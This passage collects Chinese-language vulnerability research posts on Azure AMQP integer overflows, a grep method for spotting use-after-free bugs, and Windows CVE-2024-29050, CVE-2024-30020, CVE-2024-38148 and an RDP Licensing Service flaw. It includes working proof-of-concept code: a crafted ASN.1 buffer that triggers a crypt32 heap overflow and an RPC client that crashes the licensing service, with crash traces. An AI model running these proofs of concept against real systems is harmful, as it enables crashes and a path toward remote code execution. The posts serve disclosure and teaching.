            to_copy = size;
        }

        (void)memcpy((unsigned char*)(internal_decoder_data->decode_to_value->value.binary_value.bytes) + (internal_decoder_data->bytes_decoded - 4), buffer, to_copy);
        buffer += to_copy;
        size -= to_copy;
        internal_decoder_data->bytes_decoded += to_copy;

        if (internal_decoder_data->bytes_decoded == (size_t)internal_decoder_data->decode_to_value->value.binary_value.length + 4)
        {
            internal_decoder_data->decoder_state = DECODER_STATE_CONSTRUCTOR;
            internal_decoder_data->on_value_decoded(internal_decoder_data->on_value_decoded_context, internal_decoder_data->decode_to_value);
        }

        result = 0;
    }

    break;
}

这个比较简单, 就是在代码注释位置, 32bit的程序存在整数溢出, 导致申请的内存size为0, 后续就溢出写入了.

我将该问题提交微软以后, 微软认可了这个目标, 我在等待官方出了补丁后, 又提交了相同的问题, 在相同的函数内, 不同的分支位置. 一般来说, 相同函数内出现的不同问题, 微软往往会合并他们, 所以我也没必要提交另一个分支的漏洞(RTOS 就被合并了). 然而这次, 修复者偷懒, 没有检查其它位置是否存在相同问题, 草草地修复了漏洞, 于是我可以在补丁出了后, 重新提交遗漏的位置. 这是一鱼两吃.

显然, 故事还没有结束. 我在搜索amqp函数的过程中, 偶然发现, 有其它的项目(Azure-sdk-for-cpp, azure-uamqp-python), 也包含了azure-uamqp-c的代码, 但是上次我提交的漏洞并没有被同步到这两个项目中. 于是我又用那个项目提交了相同的bug. 最后微软也认了, 修补了两个项目中的bug. 至此, 一鱼三吃的故事落下帷幕.

double free again

在snmp的double free启发我以后, 我在amqp, azure-c-shared-utility, azure-iot-sdk-c, azure iot device update 项目中应用以下规则, 我得以用最简单的方法找出了11个uaf的问题.

`(delete|destroy|free|release)\w*\([\w\(\*]`, *.h,*.c,*.cpp. 排除samples, tests
筛选原则:
    1. 释放后未置零, 本地变量判断是否在当前函数循环内, 传入参数判断上层函数是否在循环内
    2. 释放的变量是否存储到其它结构体里 (这个可能存在漏网之鱼)
    3. 同一个函数存在多次释放(比如失败后释放了一次)

在2023年末微软新加了一条规则:

December 20, 2023: Confirmed out of scope - vulnerabilities in OMI or open-source components.

彼时还没有完全不认这些组件的问题, 但是后面就完全不认了. 在2024年8月, 微软再次强调了它:

August 5, 2024: Clarified open-source out of scope exclusion.

以上提到的漏洞有不少是在2024年提交的, 所以有一部分被赖掉了.

总结

有好目标就奋力挖, 别停下.
用技巧挖洞, 又快又省心
试一试, 反正不亏.

至此, 由于微软不再认可开源软件的安全漏洞, 我的 Azure 挖掘之路就告一段落了.
如果你仔细翻找azure的产品及说明文档, 或许你们也可以在in scope范围内, 开辟自己的黄金通道.

Windows Cryptographic Services RCE CVE-2024-29050的介绍

2024-08-23T03:16:55.420Z

在挖掘secure schannel的过程中, 发现后期有在调用crypt32!CryptDecodeObject函数去解码证书相关操作, 于是深入分析了一下, 发现存在很明显的整数溢出问题, 后来发现有长度限制. 经过遍历所有的解码操作, 找到了可以成功触发的整数溢出. 一起来了解一下吧.

先来了解一下CryptDecodeObject函数接口.

BOOL CryptDecodeObject(
  [in]      DWORD      dwCertEncodingType,
  [in]      LPCSTR     lpszStructType,
  [in]      const BYTE *pbEncoded,
  [in]      DWORD      cbEncoded,
  [in]      DWORD      dwFlags,
  [out]     void       *pvStructInfo,
  [in, out] DWORD      *pcbStructInfo
);

[in] dwCertEncodingType

编码类型, 有两种, 可以或在一起.

X509_ASN_ENCODING
PKCS_7_ASN_ENCODING

[in] lpszStructType

OID, 可以是数字, 也可以是字符串. 参考 Constants for CryptEncodeObject and CryptDecodeObject.

调用关系路径示例:

crypt32!CryptDecodeObject(X509_ASN_ENCODING(1), X509_ECC_SIGNATURE(47), ...)
    CryptDecodeObjectEx
    Asn1X509DHParametersDecodeEx
    Asn1InfoDecodeAndAllocEx
    msasn1!ASN1_Decode // 检查len, 不能超过 0x61a8000 (100M)
    crypto32!ASN1Dec_DHParameters // label1
    ....

不同的oid, label1位置就会是不同的调用函数, 具体函数列表见文章末尾.

有问题的函数存在于ASN1Dec_CRLDistributionPoints

__int64 __fastcall ASN1Dec_CRLDistributionPoints(__int64 a1, __int64 a2, unsigned int *a3)
{
  ......
  if ( !(unsigned int)ASN1BERDecExplicitTag(a1, a2, &v23, &v25) )
    return 0i64;
  v6 = 0;
  *a3 = 0;
  *((_QWORD *)a3 + 1) = 0i64;
  while ( 1 )
  {
    if ( !(unsigned int)ASN1BERDecNotEndOfContents(v23, v25) )
    {
      LOBYTE(v3) = (unsigned int)ASN1BERDecEndOfContents(a1, v23, v25) != 0;
      return v3;
    }
    if ( !(unsigned int)ASN1BERDecPeekTag(v23, &v21) )
      return 0i64;
    if ( *a3 >= v6 )
    {
      if ( v6 )
        v6 *= 2;
      else
        v6 = 16;
      v7 = ASN1DecRealloc(v23, *((_QWORD *)a3 + 1), v6 << 6);// label2
      if ( !v7 )
        return 0i64;
      *((_QWORD *)a3 + 1) = v7;
    }
......
    v11 = *((_QWORD *)a3 + 1) + (v10 << 6);
    *a3 = *a3 + 1;
......
    
  }
  ......
}

label2位置, 如果v6大于 0x20,0000, 2*v6*0x40 => 0x1,0000,0000, 而ASN1DecRealloc函数的第三个参数是一个int类型, 导致整数截断, 从而申请非常小的内存, 导致后面溢出. 因为可以控制内容, 所以溢出多少是大致可控的, 所以还是有不小的可利用性. 唯一的问题就是, 这个OID是0x23, 要找到windows支持它的服务是比较困难的, 通过逐一搜索所有导入了CryptDecodeObject函数的dll和exe文件, 最终找到一个使用到它的工具, 就是certutil.exe.

触发栈回溯为:

00 0000004a`b0c7e680 00007ffd`e8fa5b1b     ucrtbase!memset_repstos+0x9
01 0000004a`b0c7e690 00007ffd`e8fa5942     CRYPT32!Asn1X509CrlDistPointsDecodeExCallback+0x77
02 0000004a`b0c7e700 00007ffd`e8f568f5     CRYPT32!Asn1X509CrlDistPointsDecodeEx+0xb2
03 0000004a`b0c7e780 00007ffd`e8f564de     CRYPT32!CryptDecodeObjectEx+0x145
04 0000004a`b0c7e830 00007ffd`e2b2185a     CRYPT32!CryptDecodeObject+0x2e
05 0000004a`b0c7e880 00007ffd`e2b2096a     cryptnet!ObjectContextGetRawUrlData+0x21a
06 0000004a`b0c7e9c0 00007ffd`e2b11e2a     cryptnet!CertificateCrlDistPointGetObjectUrl+0x7a
07 0000004a`b0c7eaf0 00007ffd`e2b119fc     cryptnet!CTVOAgent::GetTimeValidObject+0x41a
08 0000004a`b0c7ed30 00007ffd`e2b27cff     cryptnet!CrlFromCertGetTimeValidObject+0x5c
09 0000004a`b0c7eda0 00007ffd`e2b274fb     cryptnet!CryptGetTimeValidObject+0xbf
0a 0000004a`b0c7ee20 00007ffd`e2b26213     cryptnet!GetTimeValidCrl+0x38b
0b 0000004a`b0c7ef50 00007ffd`e8f475be     cryptnet!MicrosoftCertDllVerifyRevocation+0x213
0c 0000004a`b0c7f0b0 00007ffd`e8f46785     CRYPT32!VerifyDefaultRevocation+0x552
0d 0000004a`b0c7f1d0 00007ff7`8d71812f     CRYPT32!CertVerifyRevocation+0x115
0e 0000004a`b0c7f2d0 00007ff7`8d717dba     certutil!VerifyRevocation+0xd3
0f 0000004a`b0c7f380 00007ff7`8d7164f7     certutil!VerifyCertAgainstParent+0x82e
10 0000004a`b0c7f490 00007ff7`8d71bc70     certutil!VerifyCRLAgainstCACert+0x647
11 0000004a`b0c7f5a0 00007ff7`8d6b3849     certutil!verbVerifyCert+0x1c0
12 0000004a`b0c7f640 00007ff7`8d78630c     certutil!ArgvMain+0x9ed
13 0000004a`b0c7f870 00007ff7`8d785ecc     certutil!myPreMain+0x41c
14 0000004a`b0c7f9c0 00007ffd`eadea1f8     certutil!myMainWndProc+0x3c
15 0000004a`b0c7f9f0 00007ffd`eaded038     USER32!UserCallWinProcCheckWow+0x398
16 0000004a`b0c7fb40 00007ff7`8d786575     USER32!DispatchMessageWorker+0x378
17 0000004a`b0c7fbc0 00007ff7`8d6a3d96     certutil!wWinMain+0x1ad
18 0000004a`b0c7fcb0 00007ffd`e9711f87     certutil!__wmainCRTStartup+0x1d6
19 0000004a`b0c7fd70 00007ffd`eb97b5b0     KERNEL32!BaseThreadInitThunk+0x17
1a 0000004a`b0c7fda0 00000000`00000000     ntdll!RtlUserThreadStart+0x20

其它

在12月的时候, Eric 也挖到了这个漏洞, 并且他还发现了一种远程利用的触发路径, 演示视频, 另外他还发现了另一个堆溢出(CVE-2024-30020), 他的演讲pdf Talse from The Crypt 也介绍了一下, 很不错的一个演讲.

CVE-2024-30020 发生在Asn1X509GetPKIFreeText函数内, 一开始我没看懂问题出在哪, 我们看一下代码:

for ( i = (const void **)*((_QWORD *)a1 + 1); v5; --v5 )
{
  v12 = *(unsigned int *)i;
  v13 = 2 * v12 + 9; //补丁后代码
  if ( !(unsigned int)EvaluateCurrentState((const struct reg_FeatureDescriptor *)a1) )// 补丁后代码
    v13 = v12 + 9;// 补丁前代码
  v14 = v13 & 0xFFFFFFF8;
  v8 = *a5 - v14 < 0;
  *a5 -= v14;
  if ( !v8 )
  {
    *v9 = (LPWSTR)*a4;
    if ( (_DWORD)v12 )
    {
      v15 = EvaluateCurrentState((const struct reg_FeatureDescriptor *)a1);// 补丁后代码
      v16 = v12;
      if ( v15 )
        v16 = 2 * v12;// 补丁后代码
      memcpy_0(*v9, i[1], v16);
    }
    (*v9)[v12] = 0;
    *a4 = (LPWSTR *)((char *)*a4 + v14);
  }
  ++v9;
  i += 2;
}

所以, 它的补丁就是在计算size的时候, 以宽字节的方式去计算size. 一开始我并不明白这样的补丁是在干什么.

首先, *a5在减v14, *a4在加v14, 所以这个buffer和size是同步的, 不存在不同步导致的判断问题.

然后, v12值不能很大, 所以不会导致整数溢出, 那么, v14必然大于等于v12+8, 所以if(!v8)这个条件判断也不存在任何问题. memcpy操作也不存在任何问题.

那么问题一定出在 (*v9)[v12] = 0;, 朴素的理解里, 它应该也就占1字节, 是小于8的, 所以应该也小于v14的范围, 怎么会导致问题呢??

仔细查看了汇编以后, mov [rax+rsi*2], dx, 问题变得一目了然, 那就是它是当作宽字符串在处理的!!!

这时候, *v9 = (LPWSTR)*a4; 这一行变得异常刺眼了起来.

所以审计的时候, 还是需要多留心类型的变换, 如果有强制类型转换, 一定要多注意注意, 别被ida迷惑住了.

POC

#include 
#include 
#include 
#include 
#pragma comment(lib, "Crypt32.lib")
#pragma comment(lib, "Bcrypt.lib")
#pragma comment(lib, "ws2_32.lib")


typedef unsigned int u32;
typedef unsigned char u8;

int main() {
#define MAX_SIZE (0x4000000+0x30)
    unsigned char* buf = (char*)calloc(1, MAX_SIZE);

    HCERTSTORE hStore = NULL;
    PCCERT_CONTEXT pCert = NULL;
    BCRYPT_KEY_HANDLE hKey = NULL;

    DWORD pcbStructInfo[4];
    pcbStructInfo[0] = 0;
    // explicit tag
    int i = 0;
    int j;
    buf[i++] = 0x20|0x10;
    buf[i++] = 0x84;
    *(u32*)(buf + i) = ntohl(MAX_SIZE - 0x30 + 2);
    i += 4;
    for (j = 0; j < (MAX_SIZE-0x30+2) /2; j++) {
        // ASN1BERDecEoid
        buf[i++] = 0x20|0x10;
        buf[i++] = 0;
    }// "1.1." 4bytes, 

    CryptDecodeObject(1, (LPCSTR)0x23, (const BYTE*)buf, MAX_SIZE-0x10, 0, 0, pcbStructInfo);
    return 0;
}

ASN1Dec列表

0 ASN1Dec_EncodedObjectID  1800a02b0
1 ASN1Dec_Bits  180095e20
2 ASN1Dec_IntegerType  1800a27c0
3 ASN1Dec_HugeIntegerType  1800a3d00
4 ASN1Dec_OctetStringType_0  1800a36e0
5 ASN1Dec_EnumeratedType  1800ba230
6 ASN1Dec_UtcTime  1800a4aa0
7 ASN1Dec_AnyString  180077ce0
8 ASN1Dec_AlgorithmIdentifier  180076ff0
9 ASN1Dec_Name  180077f20
10 ASN1Dec_Attributes  180077a40
11 ASN1Dec_RSAPublicKey  1800877f0
12 ASN1Dec_RSAPublicKey2  18008e170
13 ASN1Dec_DSSParameters  1800b2ba0
14 ASN1Dec_RSAPublicKey_0  1800e8ea0
15 ASN1Dec_DHParameters  1800a01d0
16 ASN1Dec_RC2CBCParameters  1800eb260
17 ASN1Dec_SMIMECapabilities  1800eb8d0
18 ASN1Dec_SubjectPublicKeyInfo  180084210
19 ASN1Dec_ChoiceOfTime  1800770d0
20 ASN1Dec_Extensions  1800775d0
21 ASN1Dec_SignedContent  1800871d0
22 ASN1Dec_CertificationRequestInfo  1800e7f60
23 ASN1Dec_CertificationRequestInfoDecode  1800b3af0
24 ASN1Dec_KeygenRequestInfo  1800e9610
25 ASN1Dec_AuthorityKeyId  1800a84e0
26 ASN1Dec_AltNames  1800790c0
27 ASN1Dec_EDIPartyName  1800e9030
28 ASN1Dec_BasicConstraints2  18008ac60
29 ASN1Dec_CertificatePolicies  180081880
30 ASN1Dec_CertificatePolicies95  1800e7e40
31 ASN1Dec_AuthorityKeyId2  180078c40
32 ASN1Dec_AuthorityInfoAccess  1800788e0
33 ASN1Dec_CRLDistributionPoints  180078d90
34 ASN1Dec_ContentInfo_0  18009fe00
35 ASN1Dec_SeqOfAny  180079740
36 ASN1Dec_TimeStampRequest  1800ec370
37 ASN1Dec_ContentInfoOTS  1800e8730
38 ASN1Dec_TimeStampRequestOTS  1800ec450
39 ASN1Dec_EnhancedKeyUsage  180083970
40 ASN1Dec_EnrollmentNameValuePair  1800e9310
41 ASN1Dec_CSPProvider  1800e7a20
42 ASN1Dec_CertificatePair  1800aadd0
43 ASN1Dec_IssuingDistributionPoint  1800784d0
44 ASN1Dec_PolicyMappings  1800aca70
45 ASN1Dec_PolicyConstraints  1800b3e30
46 ASN1Dec_CmcAddExtensions  1800e81f0
47 ASN1Dec_CmcAddAttributes  1800e8130
48 ASN1Dec_CertificateTemplate  1800a3390
49 ASN1Dec_OcspBasicResponse  180076130
50 ASN1Dec_BiometricSyntax  1800e77e0
51 ASN1Dec_Attribute  1800853a0
52 ASN1Dec_X942DhParameters  1800ecb30
53 ASN1Dec_X942DhOtherInfo  1800ec9b0
54 ASN1Dec_CertificateToBeSigned  18007d6a0
55 ASN1Dec_CertificateRevocationListToBeSigned  180075f30
56 ASN1Dec_KeyAttributes  1800e93d0
57 ASN1Dec_KeyUsageRestriction  1800e9510
58 ASN1Dec_BasicConstraints  1800b4230
59 ASN1Dec_UserNotice  1800ec6b0
60 ASN1Dec_VerisignQualifier1  1800ec7b0
61 ASN1Dec_ContentInfoSeqOfAny  1800e8850
62 ASN1Dec_CertificateTrustList  180076c10
63 ASN1Dec_NameConstraints  1800783e0
64 ASN1Dec_CrossCertDistPoints  1800e8dd0
65 ASN1Dec_CmcData  1800e82b0
66 ASN1Dec_CmcResponseBody  1800e8380
67 ASN1Dec_CmcStatusInfo  1800e8430
68 ASN1Dec_OcspTbsRequest  1800a8b90
69 ASN1Dec_OcspResponse  180095c50
70 ASN1Dec_OcspBasicResponseData  180076280
71 ASN1Dec_RsaSsaPssParameters  1800eb630
72 ASN1Dec_RsaesOaepParameters  1800b0010
73 ASN1Dec_OcspRequest  1800aeba0
74 ASN1Dec_LogotypeExtn  1800e9b90
75 ASN1Dec_EccCmsSharedInfo  1800e9190
76 ASN1Dec_TimeStampReq  1800ec1c0
77 ASN1Dec_TSTInfo  1800768e0
78 ASN1Dec_TimeStampResp  1800ec530
79 ASN1Dec_ChoiceOfCertOrCrl  1800e8040
80 ASN1Dec_CertificateBundle  1800e7d40
81 ASN1Dec_RSAPrivateKey_0  1800eb330
82 ASN1Dec_SubjectDirectoryAttributes  1800ebac0
83 ASN1Dec_SupportedAlgorithm  1800ebd00
84 ASN1Dec_TPMSpecification  1800ebe10
85 ASN1Dec_CRLEntry  180077460

Windows Secure Channel RCE CVE-2024-38148的介绍

2024-08-19T02:17:59.205Z

我之前看过一次secure channel, 在跟踪crypto处理时, 也发现了一个整数溢出(CVE-2024-29050), 可惜的是没找到远程无认证的攻击场景, 最后只能实现基于文件的远程代码执行. 在这个公告更新的时候, 也去分析了一下问题, 发现它并不是如微软官方定义的那样, 是一个dos的问题, 实际上, 它是一个uaf问题, 而且有利用的潜质, 合理的利用是非常可能被用于未认证的远程代码执行的, 鉴于它的危害性, 我就没有在补丁出来后公告, 而是现在才发文. 下面让我们一起了解一下吧.

Bug

首先, 通过补丁对比, 很容易就看到修补的位置, 在 CSsl3TlsContext::CSsl3TlsContext函数内, 多了这么一段代码:

if ( !(unsigned __int8)wil::details::FeatureImpl<__WilFeatureTraits_Feature_2612696381>::__private_IsEnabled(&`wil::Feature<__WilFeatureTraits_Feature_2612696381>::GetImpl'::`2'::impl) )
{
  *(_QWORD *)(this + 472) = *(_QWORD *)(a2 + 472);
  *(_QWORD *)(a2 + 472) = 0i64;
}

经过实际测试, 这个feature函数返回1, 因此补丁实际上是屏蔽了这个字段的赋值操作.

让我们来分析一下 472偏移的位置放了什么东西.

使用ida搜索binary:

筛选一下结果, 得到如下赋值操作:

在函数CSsl3TlsServerContext::ProcessRecord内, 一段代码如下:

可以看到, 这里申请了一个新内存(记作M1), 并将它赋值给472(hex: 1D8h)的字段.

查看函数CTlsMessageFragment::Initialize:

void __fastcall CTlsMessageFragment::Initialize(CTlsMessageFragment *this, struct CSsl3TlsContext *a2)
{
  int v2; // eax
  int v3; // edx
  unsigned int v4; // edx
  unsigned int v5; // eax

  *(_QWORD *)this = a2;
  ......
  v3 = 1536;
LABEL_9:
  *((_DWORD *)this + 3) = v3;
  v5 = *((_DWORD *)this + 2);
  if ( v5 > 0xFFFFFF )
    v5 = 0xFFFFFF;
  *((_DWORD *)this + 2) = v5;
}

可以看到, 它把a2赋值给了M1的第一个8字节的字段.

那么我们大概可以得出一个结论, 那就是在CSsl3TlsContext::CSsl3TlsContext内, 虽然赋值操作将a2结构体的472字段置零了, 但是, 没有更新M1的第一个字段, 导致它还是指向了a2, 所以, 可能在后续的释放流程里, 原始的a2结构体被先释放了, 然后接着在新的结构体里引用了M1的第一个字段, 从而导致了UAF问题.

接下来我们看一下其它引用了该字段且是free或者clean的操作:

查看函数CTls13ServerContext::CleanupConnectedState

从这可以看到, 它在释放流程里引用了该字段.v12是M1结构体, *v12就是被释放的结构体.

最后经过实际测试, 也确实是这个位置存在uaf问题. 从使用的位置也可以看出, 它会使用到结构体的虚表, 如果占位得当, 就可以直接控制rip, 配合合理的gadgets, 就可以实现远程代码执行.

感想

漏掉它, 还是在于我经验不足, 没有深入allocate函数去看它的实现中是否错误地引用了字段, 另一个, 我当时的重点放在了字节码解析上, 所以没有重点考虑uaf的问题. 经过此次学习, 也是提醒我看代码要尽量有耐心, 多关注字段的赋值.

Windows Remote Desktop Licensing Service 漏洞解析

2024-07-29T08:24:28.548Z

鉴于该服务近期出了好几个bug, 学习一下该服务的几个例子.

启用rdp license服务

安装后, 通过资源管理器, 找到端口

其实它是一个rpc服务, 使用rpcview打开该进程:

可以看到, lserver.dll创建的rpc服务, 且flags是0, 意味着无需认证.

在dll处右键, 使用decompile, 会发现报错:

我简单做了些不完全的处理, 具体参考IDL章节.

分析补丁

这里, 我们主要关注HashChallengeData函数

补丁前:

__int64 __fastcall HashChallengeData(
        HCRYPTPROV a1,
        int a2,
        unsigned int a3,
        unsigned __int8 *a4,
        unsigned int a5,
        unsigned __int8 *hHash,
        DWORD pdwDataLen,
        unsigned __int8 **a8,
        unsigned int *a9)
{
  __int64 v10; // rsi
  DWORD LastError; // ebx
  unsigned __int8 *v13; // rdi
  const BYTE *v14; // r14
  BYTE *v15; // rax
  unsigned int *v16; // rcx

  v10 = a3;
  LastError = 0;
  hHash = 0i64;
  pdwDataLen = 0;
  v13 = 0i64;
  if ( !CryptCreateHash(a1, 0x8003u, 0i64, 0, (HCRYPTHASH *)&hHash) )
    goto LABEL_14;
  v14 = a2 == 2 ? L"d46b4bf2-686d-11d2-96ae-00c04fa3080d" : (const BYTE *)L"d63a773e-6799-11d2-96ae-00c04fa3080d";
  if ( !CryptHashData((HCRYPTHASH)hHash, a4, v10, 0) || !CryptHashData((HCRYPTHASH)hHash, v14, 0x48u, 0) )

补丁后:

__int64 __fastcall HashChallengeData(
        HCRYPTPROV hProv,
        int a2,
        unsigned int a3,
        unsigned __int8 *a4,
        unsigned int a5,
        HCRYPTHASH hHash,
        DWORD pdwDataLen,
        unsigned __int8 **a8,
        unsigned int *a9)
{
  __int64 v10; // r14
  DWORD LastError; // ebx
  unsigned __int8 *v14; // rdi
  int v15; // eax
  const BYTE *v16; // r15
  BYTE *v17; // rax
  unsigned int *v18; // rcx

  v10 = a3;
  LastError = 0;
  hHash = 0i64;
  pdwDataLen = 0;
  v14 = 0i64;
  LOBYTE(v15) = EvaluateCurrentState((int **)&g_Feature_1367177530_50463178_FeatureDescriptorDetails);
  if ( v15 && (!hProv || !a4 || a5 - 1 > 0x3F || a5 < (unsigned int)v10) )
    goto LABEL_6;
  if ( !CryptCreateHash(hProv, 0x8003u, 0i64, 0, &hHash) )
    goto LABEL_19;
  v16 = a2 == 2 ? L"d46b4bf2-686d-11d2-96ae-00c04fa3080d" : (const BYTE *)L"d63a773e-6799-11d2-96ae-00c04fa3080d";
  if ( !CryptHashData(hHash, a4, v10, 0) || !CryptHashData(hHash, v16, 0x48u, 0) )

一个显而易见的可能, 就是v10(即a3)比a5大, 导致CryptHashData(hHash, a4, v10, 0)位置越界读取了a4的数据.

它的引用方有多个, 我们关注其中一个TLSRpcChallengeServer

__int64 __fastcall TLSRpcChallengeServer(__int64 a1, unsigned int a2, __int64 a3, _QWORD *a4, __int64 a5, _DWORD *a6)
{
  unsigned __int16 *v10; // rcx
  _DWORD *v11; // r15
  _DWORD *v12; // rsi
  HLOCAL v13; // rdi
  DWORD LastError; // ebx
  __int64 v15; // r15
  HLOCAL v16; // rax
  unsigned int v17; // ebx
  _DWORD *v18; // rbp
  _DWORD *v19; // r13
  void *v20; // rcx
  void *v21; // rcx
  void *v22; // rcx
  void *v23; // rcx
  HCRYPTHASH v25; // [rsp+28h] [rbp-60h]
  unsigned int v26; // [rsp+30h] [rbp-58h]
  HCRYPTPROV phProv; // [rsp+90h] [rbp+8h] BYREF
  unsigned int v28; // [rsp+98h] [rbp+10h]

  v28 = a2;
  v10 = WPP_GLOBAL_Control;
  if ( WPP_GLOBAL_Control != (unsigned __int16 *)&WPP_GLOBAL_Control
    && (*((_DWORD *)WPP_GLOBAL_Control + 7) & 0x1000) != 0 )
  {
    WPP_SF_S(*((_QWORD *)WPP_GLOBAL_Control + 2));
    v10 = WPP_GLOBAL_Control;
  }
  if ( !a1 )
    return 87i64;
  v11 = a6;
  if ( !a6 )
    return 87i64;
  v12 = 0i64;
  v13 = 0i64;
  phProv = 0i64;
  if ( v10 != (unsigned __int16 *)&WPP_GLOBAL_Control && (v10[14] & 0x20) != 0 )
    WPP_SF_S(*((_QWORD *)v10 + 2));
  _InterlockedIncrement((volatile signed __int32 *)(a1 + 8));
  if ( !*(_DWORD *)(a1 + 20) )
  {
    if ( a3 && a4 && (v15 = a5) != 0 )
    {
      if ( *(_DWORD *)a3 != 0x10000 || !*(_DWORD *)(a3 + 8) || !*(_QWORD *)(a3 + 16) )
      {
        LastError = -1073676256;
        goto LABEL_47;
      }
      v13 = LocalAlloc(0x40u, 0x20ui64);
      if ( !v13 )
        goto LABEL_18;
      v12 = LocalAlloc(0x40u, 0x28ui64);
      if ( !v12 )
        goto LABEL_18;
      v16 = LocalAlloc(0x40u, 0x28ui64);
      *(_QWORD *)v15 = v16;
      if ( !v16 )
        goto LABEL_18;
      v17 = HashChallengeData(
              g_hCryptProv,
              a2,
              *(_DWORD *)(a3 + 4),
              *(unsigned __int8 **)(a3 + 16),
              *(_DWORD *)(a3 + 8),
              v25,
              v26,
              (unsigned __int8 **)v13 + 1,
              (unsigned int *)v13 + 1);

可以知道, HashChallengeData的a3, a4, a5都来自于TLSRpcChallengeServer函数的参数a3结构体的数据.

逆向a3的构造函数后, 得知它的结构体形如:

struct uknow1 {
    int f1;
    int f2;
    int f3;
    int f4;
    [size_is(f3)] unsigned char* buff;
    int f18;
    int f1c;
    [size_is(f18)] unsigned char* buff2;
};

构造poc

创建一个rpc的client, 如何创建可以参考我的rpc介绍里的示例项目.

另外, 因为函数参数需要一个handle, 我们还需要调用Proc1_TLSRpcConnect来获取handle.

int main(){
    RPC_STATUS status;
    unsigned char* szStringBinding = NULL;

    status = RpcStringBindingCompose(
        NULL, // UUID to bind to.
        reinterpret_cast<unsigned char*>("ncacn_ip_tcp"), // Use TCP/IP
        // protocol.
        reinterpret_cast<unsigned char*>("192.168.150.104"), // TCP/IP network
        // address to use.
        reinterpret_cast<unsigned char*>("49683"), // TCP/IP port to use.
        NULL, // Protocol dependent network options to use.
        &szStringBinding); // String binding output.

    if (status)
        exit(status);

    status = RpcBindingFromStringBinding(
        szStringBinding, // The string binding to validate.
        &hExample1Binding); // Put the result in the implicit binding
    // handle defined in the IDL file.

    if (status)
        exit(status);
        struct uknow1* s1, * s3 = NULL;
    struct uknow2 *s2 = NULL;
    s1 = (struct uknow1*)calloc(0x1000, 1);
    printf("start\n");
    //for (i = 1; i < 2; i++) {
    RpcTryExcept
    {
        long out  = 0 ;
        s1->buff = (unsigned char *)calloc(0x1000,1);
        s1->f1 = 0x10000;
        s1->f2 = 0x1000000;// 给出超大的偏移值.
        s1->f3 = 0x100;
        void* handle;
        s1->f18 = 0x10;
        s1->buff2 = s1->buff + 0x20;

        Proc1_TLSRpcConnect(&handle);
        Proc44_TLSRpcChallengeServer(handle, 2, s1, &s2, &s3, &out);
    }
    RpcExcept(1)// RPC_S_CANNOT_SUPPORT
    {
        std::cerr << "Runtime reported exception " << RpcExceptionCode()
            << std::endl;
    }RpcEndExcept
}

触发崩溃:

0:010> k
 # Child-SP          RetAddr               Call Site
00 000000d7`f68fe7c0 00007ff9`67e0ad69     bcryptPrimitives!SymCryptMd5AppendBlocks+0x90
01 000000d7`f68fe8b0 00007ff9`67e0ab66     bcryptPrimitives!MSCryptHashDataInternal+0xc9
02 000000d7`f68fe920 00007ff9`670347bf     bcryptPrimitives!MSCryptHashData+0x76
03 000000d7`f68fe9e0 00007ff9`66730738     bcrypt!BCryptHashData+0xbf
04 000000d7`f68fea30 00007ff9`66de3523     rsaenh!CPHashData+0x118
05 000000d7`f68fea70 00007ff9`56b54d2d     CRYPTSP!CryptHashData+0x93
06 000000d7`f68feaf0 00007ff9`56b0c159     lserver!HashChallengeData+0x81
07 000000d7`f68feb40 00007ff9`69471913     lserver!TLSRpcChallengeServer+0x199
08 000000d7`f68febe0 00007ff9`6947618e     RPCRT4!Invoke+0x73
09 000000d7`f68fec50 00007ff9`69425cdc     RPCRT4!Ndr64StubWorker+0x6ee
0a 000000d7`f68ff260 00007ff9`69423897     RPCRT4!NdrServerCallAll+0x3c
0b 000000d7`f68ff2b0 00007ff9`69423842     RPCRT4!DispatchToStubInCNoAvrf+0x17
0c 000000d7`f68ff300 00007ff9`693d60f4     RPCRT4!DispatchToStubInCAvrf+0x12
0d 000000d7`f68ff330 00007ff9`693d52b4     RPCRT4!RPC_INTERFACE::DispatchToStubWorker+0x194
0e 000000d7`f68ff400 00007ff9`693eb61a     RPCRT4!RPC_INTERFACE::DispatchToStub+0x1f4
0f 000000d7`f68ff6a0 00007ff9`693eb3c1     RPCRT4!OSF_SCALL::DispatchHelper+0x13a
10 000000d7`f68ff7c0 00007ff9`693ea0d9     RPCRT4!OSF_SCALL::DispatchRPCCall+0x89
11 000000d7`f68ff7f0 00007ff9`693e9c0a     RPCRT4!OSF_SCALL::ProcessReceivedPDU+0xe1
12 000000d7`f68ff890 00007ff9`693e8a5a     RPCRT4!OSF_SCALL::BeginRpcCall+0xba
13 000000d7`f68ff8d0 00007ff9`694007ec     RPCRT4!OSF_SCONNECTION::ProcessReceiveComplete+0x13e
14 000000d7`f68ff9d0 00007ff9`67b15891     RPCRT4!CO_ConnectionThreadPoolCallback+0xbc
15 000000d7`f68ffa50 00007ff9`6a414037     KERNELBASE!BasepTpIoCallback+0x51
16 000000d7`f68ffaa0 00007ff9`6a3c82de     ntdll!TppIopExecuteCallback+0x1b7
17 000000d7`f68ffb20 00007ff9`6912dbe7     ntdll!TppWorkerThread+0x57e
18 000000d7`f68ffe80 00007ff9`6a49a95c     KERNEL32!BaseThreadInitThunk+0x17
19 000000d7`f68ffeb0 00000000`00000000     ntdll!RtlUserThreadStart+0x2c
0:010> r
rax=00000000bdf74b49 rbx=000000009a7acdc5 rcx=0000025a971eefd0
rdx=0000000068d7aa64 rsi=00000000727b464c rdi=00000000757453a6
rip=00007ff967e0b290 rsp=000000d7f68fe7c0 rbp=0000000000000000
 r8=000000003cdad4db  r9=00000000db87fbfa r10=00000000e1a806c7
r11=00000000bdf74b49 r12=00000000971a8c30 r13=0000000000000000
r14=0000025a971e1008 r15=0000000000000000
iopl=0         nv up ei pl nz na pe nc
cs=0033  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010202
bcryptPrimitives!SymCryptMd5AppendBlocks+0x90:
00007ff9`67e0b290 418b56f8        mov     edx,dword ptr [r14-8] ds:0000025a`971e1000=????????

IDL

[
    uuid(3d267954-eeb7-11d1-b94e-00c04fa3080d),
        version(1.0),
]
interface Example1
{

    error_status_t Proc0_TLSRpcGetVersion(
        [in][context_handle] void* arg_0,
        [in][out]long* arg_1);

    error_status_t Proc1_TLSRpcConnect(
        [out][context_handle] void** arg_1);

    error_status_t Proc2_TLSRpcDisconnect(
        [in][out][context_handle] void** arg_0);

    error_status_t Proc3_TLSRpcSendServerCertificate(
        [in][context_handle] void* arg_0,
        [in][range(0, 16384)] long arg_1,
        [in][ref][size_is(arg_1)]/*[range(0,16384)]*/ byte* arg_2,
        [in][out]long* arg_3);

    error_status_t Proc4_TLSRpcGetServerName(
        [in][context_handle] void* arg_0,
